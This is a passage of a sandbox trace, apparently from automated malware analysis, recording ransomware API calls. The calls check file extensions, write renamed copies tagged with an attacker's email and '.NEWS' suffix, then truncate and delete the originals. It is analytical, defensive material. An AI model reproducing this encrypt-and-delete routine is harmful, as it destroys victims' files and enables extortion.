1 [0069.573] lstrlenW (lpString=".xlsx") returned 5 [0069.573] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.573] lstrlenW (lpString=".ppt") returned 4 [0069.573] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.573] lstrlenW (lpString=".zip") returned 4 [0069.573] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.573] lstrlenW (lpString=".rar") returned 4 [0069.573] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.574] lstrlenW (lpString=".bz2") returned 4 [0069.574] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.574] lstrlenW (lpString=".7z") returned 3 [0069.574] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.574] lstrlenW (lpString=".dbf") returned 4 [0069.574] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.574] lstrlenW (lpString=".1cd") returned 4 [0069.574] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0069.574] lstrlenW (lpString=".jpg") returned 4 [0069.574] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.574] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0069.575] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0069.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.575] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1925) returned 1 [0069.575] CloseHandle (hObject=0x1cc) returned 1 [0069.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0069.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.576] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.576] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0069.579] GetLastError () returned 0x0 [0069.579] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x785, lpOverlapped=0x0) returned 1 [0069.582] WriteFile (in: hFile=0x1fc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x790, lpOverlapped=0x0) returned 1 [0069.584] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.584] WriteFile (in: hFile=0x1fc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0069.584] SetEndOfFile (hFile=0x1fc) returned 1 [0069.584] CloseHandle (hObject=0x1fc) returned 1 [0069.584] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.584] SetEndOfFile (hFile=0x1cc) returned 1 [0069.586] CloseHandle (hObject=0x1cc) returned 1 [0069.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.586] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0069.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.587] lstrlenW (lpString=".doc") returned 4 [0069.587] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.587] lstrlenW (lpString=".docx") returned 5 [0069.587] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.587] lstrlenW (lpString=".pdf") returned 4 [0069.587] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.587] lstrlenW (lpString=".xls") returned 4 [0069.587] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.587] lstrlenW (lpString=".xlsx") returned 5 [0069.587] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.587] lstrlenW (lpString=".ppt") returned 4 [0069.587] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.587] lstrlenW (lpString=".zip") returned 4 [0069.587] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.587] lstrlenW (lpString=".rar") returned 4 [0069.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.587] lstrlenW (lpString=".bz2") returned 4 [0069.587] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.587] lstrlenW (lpString=".7z") returned 3 [0069.587] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.587] lstrlenW (lpString=".dbf") returned 4 [0069.588] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.588] lstrlenW (lpString=".1cd") returned 4 [0069.588] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.588] lstrlenW (lpString=".jpg") returned 4 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.588] lstrlenW (lpString=".doc") returned 4 [0069.588] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0069.588] lstrlenW (lpString=".docx") returned 5 [0069.588] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0069.588] lstrlenW (lpString=".pdf") returned 4 [0069.588] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0069.588] lstrlenW (lpString=".xls") returned 4 [0069.588] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0069.588] lstrlenW (lpString=".xlsx") returned 5 [0069.588] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0069.588] lstrlenW (lpString=".ppt") returned 4 [0069.589] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0069.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.589] lstrlenW (lpString=".zip") returned 4 [0069.589] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0069.589] lstrlenW (lpString=".rar") returned 4 [0069.589] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0069.589] lstrlenW (lpString=".bz2") returned 4 [0069.589] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0069.589] lstrlenW (lpString=".7z") returned 3 [0069.589] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0069.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.589] lstrlenW (lpString=".dbf") returned 4 [0069.589] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0069.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.589] lstrlenW (lpString=".1cd") returned 4 [0069.589] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0069.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0069.589] lstrlenW (lpString=".jpg") returned 4 [0069.589] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0069.590] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0069.590] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0069.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.591] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=27407) returned 1 [0069.591] CloseHandle (hObject=0x1cc) returned 1 [0069.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0069.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.592] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.592] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0069.592] GetLastError () returned 0x0 [0069.592] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0069.595] WriteFile (in: hFile=0x1fc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0069.598] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.598] WriteFile (in: hFile=0x1fc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.598] SetEndOfFile (hFile=0x1fc) returned 1 [0069.598] CloseHandle (hObject=0x1fc) returned 1 [0069.598] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.599] SetEndOfFile (hFile=0x1cc) returned 1 [0069.600] CloseHandle (hObject=0x1cc) returned 1 [0069.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0069.601] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0069.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.601] lstrlenW (lpString=".doc") returned 4 [0069.601] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.601] lstrlenW (lpString=".docx") returned 5 [0069.601] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.601] lstrlenW (lpString=".pdf") returned 4 [0069.601] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.601] lstrlenW (lpString=".xls") returned 4 [0069.601] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.601] lstrlenW (lpString=".xlsx") returned 5 [0069.602] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.602] lstrlenW (lpString=".ppt") returned 4 [0069.602] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.602] lstrlenW (lpString=".zip") returned 4 [0069.602] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.602] lstrlenW (lpString=".rar") returned 4 [0069.602] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.602] lstrlenW (lpString=".bz2") returned 4 [0069.602] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.602] lstrlenW (lpString=".7z") returned 3 [0069.602] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.602] lstrlenW (lpString=".dbf") returned 4 [0069.602] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.602] lstrlenW (lpString=".1cd") returned 4 [0069.602] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.602] lstrlenW (lpString=".jpg") returned 4 [0069.602] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.603] lstrlenW (lpString=".doc") returned 4 [0069.603] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0069.603] lstrlenW (lpString=".docx") returned 5 [0069.603] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0069.603] lstrlenW (lpString=".pdf") returned 4 [0069.603] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0069.603] lstrlenW (lpString=".xls") returned 4 [0069.603] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0069.603] lstrlenW (lpString=".xlsx") returned 5 [0069.603] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0069.603] lstrlenW (lpString=".ppt") returned 4 [0069.603] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0069.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.603] lstrlenW (lpString=".zip") returned 4 [0069.603] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0069.603] lstrlenW (lpString=".rar") returned 4 [0069.603] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0069.603] lstrlenW (lpString=".bz2") returned 4 [0069.603] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0069.603] lstrlenW (lpString=".7z") returned 3 [0069.603] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0069.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.603] lstrlenW (lpString=".dbf") returned 4 [0069.604] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0069.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.604] lstrlenW (lpString=".1cd") returned 4 [0069.604] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0069.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0069.604] lstrlenW (lpString=".jpg") returned 4 [0069.604] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0069.604] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0069.604] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0069.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.605] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=3479) returned 1 [0069.605] CloseHandle (hObject=0x1cc) returned 1 [0069.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0069.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0069.605] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.605] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0070.766] GetLastError () returned 0x0 [0070.767] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0xd97, lpOverlapped=0x0) returned 1 [0070.771] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0070.774] ReadFile (in: hFile=0x1cc, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.775] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.775] SetEndOfFile (hFile=0x208) returned 1 [0070.775] CloseHandle (hObject=0x208) returned 1 [0070.775] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.775] SetEndOfFile (hFile=0x1cc) returned 1 [0070.776] CloseHandle (hObject=0x1cc) returned 1 [0070.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.777] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0070.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.777] lstrlenW (lpString=".doc") returned 4 [0070.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.777] lstrlenW (lpString=".docx") returned 5 [0070.777] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.777] lstrlenW (lpString=".pdf") returned 4 [0070.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.777] lstrlenW (lpString=".xls") returned 4 [0070.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.777] lstrlenW (lpString=".xlsx") returned 5 [0070.777] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.777] lstrlenW (lpString=".ppt") returned 4 [0070.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString=".zip") returned 4 [0070.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.778] lstrlenW (lpString=".rar") returned 4 [0070.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.778] lstrlenW (lpString=".bz2") returned 4 [0070.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.778] lstrlenW (lpString=".7z") returned 3 [0070.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString=".dbf") returned 4 [0070.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString=".1cd") returned 4 [0070.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString=".jpg") returned 4 [0070.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0070.778] lstrlenW (lpString=".doc") returned 4 [0070.779] lstrcmpiW (lpString1=".doc", 